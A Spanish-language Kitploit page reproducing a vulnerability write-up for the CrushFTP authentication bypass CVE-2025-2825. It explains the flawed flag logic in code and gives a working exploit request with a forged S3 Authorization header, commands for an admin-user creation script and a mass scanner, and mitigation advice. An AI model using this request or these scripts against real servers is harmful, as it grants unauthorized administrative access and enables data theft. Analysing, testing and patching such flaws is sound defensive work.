Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-2825 — Análisis detallado y exploit PoC para CVE-2025-2825, una omisión de autenticación en CrushFTP. Incluye plantillas de nuclei, escáner multihilo y script de creación de usuarios para pruebas de penetración. | Kitploit
Herramientas/GitHubGitHub/iteride/cve-2025-2825
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de Payloads
GitHubiteride/cve-2025-2825

CVE-2025-2825

Análisis detallado y exploit PoC para CVE-2025-2825, una omisión de autenticación en CrushFTP. Incluye plantillas de nuclei, escáner multihilo y script de creación de usuarios para pruebas de penetración.

Ver Repositorio
1hace 11 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-2825/CVE-2025-31161

Introducción

Este documento presenta la investigación de la vulnerabilidad CVE-2025-2825, que afecta al servidor CrushFTP, una solución comercial para la transferencia y almacenamiento de archivos (FTP, SFTP, HTTP/S, interfaces similares a S3, etc.).

El defecto se clasifica como bypass de autenticación, que permite a un atacante remoto no autenticado obtener privilegios de administrador. La explotación exitosa otorga acceso con privilegios crushadmin, visualización y modificación de archivos, gestión de cuentas de usuario y ejecución de operaciones administrativas a través de la interfaz web y la API de CrushFTP.

Versiones afectadas reportadas (según avisos públicos e informes de investigadores):

  • CrushFTP 10.0.0 — 10.8.3
  • CrushFTP 11.0.0 — 11.3.0

⚠️ Nota: en algunas publicaciones aparecen duplicados y superposiciones de identificadores CVE (por ejemplo, CVE-2025-31161).


Objetivo del informe

Analizar paso a paso la vulnerabilidad y demostrar el ciclo completo de investigación, que incluye:

  1. Recopilación y análisis de materiales — sistematización de avisos, PoC, análisis técnicos y publicaciones sobre CVE-2025-2825; formulación de la esencia del defecto y su impacto.
  2. Determinación de CPE y condiciones — lista de CPE/versiones relevantes y configuraciones en las que se reproduce la vulnerabilidad (interfaces web, endpoints compatibles con S3, etc.).
  3. Desarrollo de PoC/Exploit — preparación de un PoC reproducible en un entorno controlado; descripción de la arquitectura y medidas para minimizar daños.
  4. Métodos de verificación masiva — tres enfoques para la búsqueda segura de hosts vulnerables:
    • escaneo activo con nuclei;
    • nuclei pasivo (por versiones e indicios indirectos sin explotación);
    • script propio (Python/Go) para verificación controlada.
  5. Recomendaciones y mitigación — consejos prácticos para detección, parcheo y protección de instancias.
  6. Práctica segura de pruebas — listas de verificación para realizar pruebas solo en entornos autorizados.

Impacto práctico

Según informes públicos, la vulnerabilidad tiene riesgo crítico:

  • La explotación otorga acceso administrativo a la instancia de CrushFTP.
  • Consecuencias: robo/modificación de archivos, creación/eliminación de usuarios, instalación de backdoors, uso del servidor para ataques posteriores.
  • CVSS se evalúa como crítico (alrededor de 9.8).
  • En la comunidad se han registrado PoC y signos de explotación «en estado salvaje».

CPE / configuraciones objetivo

Son críticas las instancias con las siguientes características:

  • Producto: CrushFTP (cualquier edición con interfaz web).
  • Versiones: 10.0.0 — 10.8.3, 11.0.0 — 11.3.0.
  • Configuraciones de alto riesgo:
    • Interfaz web administrativa pública habilitada (HTTP/S).
    • Endpoints de API compatibles con S3 activados.
    • Sin medidas de protección adicionales (filtrado IP, 2FA).
    • Configuraciones erróneas de proxy/balanceadores que hacen accesibles endpoints internos desde el exterior.

Comprensión de la vulnerabilidad

CrushFTP implementa soporte para una API similar a S3. Para la autenticación se utiliza el encabezado Authorization de la forma:

root@kitploit:~
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

El servidor extrae el AccessKey de Credential y debería verificar la firma. Sin embargo, se cometió un error en el código al manejar el flag lookup_user_pass.

  • Código vulnerable (fragmento simplificado):
root@kitploit:~
// ServerSessionHTTP.java, método loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
    this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
    
    boolean lookup_user_pass = true;   // ← error crítico
    
    if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }
    
    if (this.thisSession.login_user_pass(
            lookup_user_pass,
            false,
            user_name,
            lookup_user_pass ? "" : user_pass)) {
        // Autenticación exitosa
    }
}
  • Lógica posterior:

El flag lookup_user_pass se pasa directamente como anyPass:

root@kitploit:~
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
    return user;  // autenticación sin verificar contraseña
}

Por lo tanto:

  • Si el nombre de usuario se especifica sin el carácter ~, el flag permanece en true.
  • No se realiza la verificación de la contraseña.
  • El atacante puede autenticarse indicando solo un nombre de usuario existente (por ejemplo, crushadmin).
  • Junto con una cookie CrushAuth formalmente válida y el parámetro c2f, esto permite eludir la autenticación y obtener acceso administrativo.

Corrección

En la versión 11.3.1 y posteriores, los desarrolladores:

  • Agregaron el parámetro s3_auth_lookup_password_supported (por defecto false), que bloquea el escenario vulnerable.
  • Introdujeron verificaciones tempranas del nombre de usuario con ~.
  • Separaron la lógica de los flags, eliminando la sustitución de lookup_user_pass → anyPass.
  • Recomendación: actualizar inmediatamente CrushFTP a 11.3.1+ o aplicar el workaround desactivando s3_auth_lookup_password_supported.

POC/Exploit

La explotación de CVE-2025-2825 es bastante simple y no requiere una preparación compleja. El atacante solo necesita enviar una solicitud HTTP especialmente diseñada que contenga dos elementos clave:

  • Encabezado Authorization en formato AWS S3, que contenga el nombre de usuario existente correcto (campo Credential con AccessKey/username).
  • Cookie CrushAuth en el formato esperado y el parámetro c2f en la URL/cuerpo de la solicitud, cuyos valores se corresponden lógicamente (el formato de la cookie debe coincidir con la estructura esperada por el servidor).

Si el servidor es vulnerable (versión en el rango 10.0.0—10.8.3 o 11.0.0—11.3.0 y no se ha aplicado el parche correctivo), esta combinación hace que el manejador de autenticación siga la ruta vulnerable, donde el flag de búsqueda de contraseña (lookup_user_pass) se interpreta como «cualquier contraseña es válida», y el usuario se autentica solo por el nombre sin verificar la contraseña.

Nota importante:

La explotación de esta vulnerabilidad generalmente requiere el envío de dos solicitudes consecutivas. La primera, denominada solicitud de «calentamiento» (warm-up), inicia el proceso de autenticación vulnerable en el servidor. Un signo característico de que el servidor ha entrado en el estado deseado es recibir como respuesta un error 502 Bad Gateway o simplemente un tiempo de espera agotado (timeout). Inmediatamente después se envía la segunda solicitud, la principal, que realiza la acción útil (por ejemplo, crear un usuario), mientras el servidor se encuentra en el estado vulnerable al ataque.

root@kitploit:~
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Para la prueba, tomé el laboratorio lanzado recientemente en HTB — Soulmate, donde precisamente se requiere explotar CrushFTP.

crush

Avance posterior:

Gracias a esta vulnerabilidad, se puede agregar un nuevo usuario con derechos de administrador mediante el comando setUserItem. Para ello, ejecute new_user.py:

root@kitploit:~
python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide

Por qué funciona

  1. Análisis del encabezado Authorization: Cuando el servidor ve un encabezado de autorización en formato similar a S3 (AWS4-HMAC...), extrae del campo Credential el identificador del cliente (AccessKey / username). En esta etapa, el servidor obtiene una cadena que considera el nombre de usuario; este valor identificativo se utiliza posteriormente en la lógica de autenticación.

  2. El flag lookup_user_pass y su rol:

    En el código hay un flag booleano lookup_user_pass que debería indicar de dónde obtener la contraseña durante la verificación:

    • En el escenario normal, el flag ayuda a decidir si usar la contraseña pasada en la solicitud o recuperarla del almacén de usuarios;
    • Sin embargo, debido a un error de implementación, este mismo flag se pasa posteriormente a la función de verificación y allí se interpreta de otra manera: como una señal que permite omitir la verificación de la contraseña (básicamente, como «anyPass»).
  3. Transmisión del flag a lo largo de la cadena de llamadas: Ruta aproximada: ServerSessionHTTP.loginCheckHeaderAuth() → Session.login_user_pass(...) → UserTools.ut.verify_user(...). Al inicio, el flag define el comportamiento, y en verify_user lleva a un retorno temprano del objeto de usuario encontrado sin comparar la contraseña, si el nombre coincide. Esto proporciona la evasión de la verificación de autenticación: el servidor «reconoce» al usuario por su nombre y lo considera autenticado.

  4. Elementos acompañantes (cookie / c2f): En los análisis públicos se indicó que el manejador espera un formato correcto de cookie/parámetros con el fin de emparejar la solicitud con la sesión/contexto. Sin embargo, el defecto clave es el error lógico en el manejo de ; los otros elementos solo ayudan a que la solicitud pase por las ramas de procesamiento estándar.

Causa clave

  • Sobrecarga de significado del flag: el flag que debía decidir «de dónde obtener la contraseña» resultó utilizado como «permitir cualquier contraseña». Esto, combinado con un análisis simplificado de Credential, llevó a que la presencia de un nombre de usuario correcto fuera suficiente para obtener los datos de autenticación del usuario sin verificar la contraseña.

Plantilla Nuclei

  • Plantilla pasiva:

    Dado que en la mayoría de los servicios web no es posible determinar la versión exacta de CrushFTP, esta plantilla simplemente verifica si el servicio utiliza CrushFTP.

    Es mejor usarla en combinación con la plantilla activa passive_nuclei

  • Plantilla activa:

    La plantilla activa verifica si es posible el comando getUserList.

    active_nuclei

  • Script multiproceso

    El script funciona de manera similar a la plantilla activa, pero es mucho más rápido y admite la posibilidad de verificar varios hosts a la vez.

    root@kitploit:~
    python3 scan.py -t http://ftp.soulmate.htb/ -p 80 -u crushadmin
    

    scan


Recomendaciones de corrección y protección

Para reducir los riesgos asociados con CVE-2025-31161, se recomienda tomar las siguientes medidas:

  1. Actualización inmediata:

    • Actualizar todas las instancias de CrushFTP a la versión 11.3.1 o superior. Esta es la forma más fiable de eliminar completamente la vulnerabilidad.
  2. Aplicación de Workaround (si no es posible actualizar):

    • En la configuración del servidor, establecer el parámetro s3_auth_lookup_password_supported en false. Esto desactivará la lógica de autenticación vulnerable sin actualizar todo el producto.
  3. Medidas de compensación de riesgos:

    • Limitar el acceso: Utilizar un cortafuegos o proxy inverso (NGINX, Caddy) para restringir el acceso a la interfaz web de CrushFTP solo desde direcciones IP confiables (por ejemplo, desde la red corporativa o VPN).
    • Monitoreo de logs: Analizar regularmente los logs de acceso de CrushFTP en busca de solicitudes sospechosas que contengan AWS4-HMAC-SHA256 en el encabezado Authorization, especialmente si no se utiliza la integración S3.
    • Usar Web Application Firewall (WAF): Configurar un WAF para bloquear solicitudes que contengan encabezados Authorization anómalos hacia endpoints no destinados a la API S3.

Descargar herramienta
lookup_user_pass